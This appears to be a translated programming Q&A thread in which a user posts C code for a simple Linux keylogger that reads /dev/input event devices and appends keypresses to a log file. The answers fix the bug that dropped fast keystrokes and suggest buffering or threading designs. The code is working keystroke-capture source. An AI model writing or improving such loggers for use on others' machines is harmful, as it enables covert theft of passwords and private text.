Считывание событий с клавиатуры и сохранение их в файле пропускает некоторые данные

Я пишу код для очень простого кейлоггера. Он читает входные данные из /dev/input/event[0..9] и использует read() системный вызов, чтобы прочитать ввод, сделанный с клавиатуры. Этот вход затем перенаправляется для сохранения в файле журнала.

Код ниже.

struct input_event ev[64];
int fd, rd, value, i, size = sizeof (struct input_event);
char dev_id[32];
char device[64];
FILE *f = fopen("/home/student/junk/haris/key_log.txt", "a");

FILE* fpp = popen("grep -E 'Handlers|EV=' /proc/bus/input/devices | grep -B1 'EV=120013' | grep -Eo 'event[0-9]+'", "r");
fgets(dev_id, sizeof(dev_id), fpp);
sprintf(device,"/dev/input/%s",dev_id);

for(i=0; device[i] != '\n'; i++)
    ;
device[i] = '\0';

if ((getuid ()) != 0)
    printf ("You are not root! This may not work...n");


if ((fd = open (device, O_RDONLY)) == -1)
    printf ("%s is not a valid device.n", device);

size *= 64;

while (1)
{
    if ((rd = read(fd, ev, size)) < size)
        exit(0); 

    if (ev[1].value == 1 && ev[1].type == 1) // Only read the key press event
    {
        fflush(f);
        fprintf(f, "%s", key_map[(ev[1].code)]);
    }
}

Последний while цикл - это основной цикл, в котором происходит чтение. Все работает нормально.


Проблема, с которой я сталкиваюсь, заключается в том, что, когда некоторые пользователи вводят любое слово слишком быстро, программа не может подобрать событие всех нажатий клавиш. Он пропускает некоторые буквы, когда слова набираются слишком быстро.

Например, если я наберу слово hello haris очень быстро в моей клавиатуре, вывод в файл журнала будет hllo hars,

Я думаю, что эта ошибка происходит, потому что цикл требует времени для итерации. Прежде чем одно событие может быть прочитано и записано в файл, следующее событие происходит и заканчивается.

Есть ли способ оптимизировать код, чтобы не пропустить ни одно из событий. Или есть другая причина для этого.


Бонусный вопрос

Терминал и другие устройства способны воспринимать все входы независимо от того, насколько быстро я набираю, почему это так?

2 ответа

Решение

Проблема была в размере read()

(rd = read(fd, ev, size);

Куда,

struct input_event ev[64];

size = sizeof (struct input_event) * 64;

Это большой размер для read() функция.

Во время отладки я обнаружил, что для нажатия клавиши нужна только одна переменная (а не массив) struct input_event достаточно.

Так что я меняю следующие вещи,

struct input_event ev;
.
.
size = sizeof (struct input_event);
.
.
(rd = read(fd, ev, size);

И он читает все нажатия клавиш, не пропуская никого из них.

Есть много способов достичь того, что вы хотите:

1) простое использование select + read + caching, псевдокод:

result = select();
if (result == TIMEOUT)
  flush_input_queue_to_file();
else (result == DATA_READY)
  add_event_to_queue();

Поэтому вам нужно добавить https://en.wikipedia.org/wiki/Circular_buffer в ваш код и выбрать перед прочтением. Поскольку у вас будет один ввод / вывод на множество входных событий, одно событие = одна запись в файл, это уменьшит вероятность потери некоторых событий.

2) Используйте два потока и очередь с мьютексом, один поток записывает в файл, и он может блокировать ввод-вывод, другой поток читает входные данные и помещает событие в очередь, читая о pthread для достижения этой цели. Вы также можете повысить приоритет чтения входного потока по сравнению с записью потока журналов, а также использовать очередь без блокировки.

Другие вопросы по тегам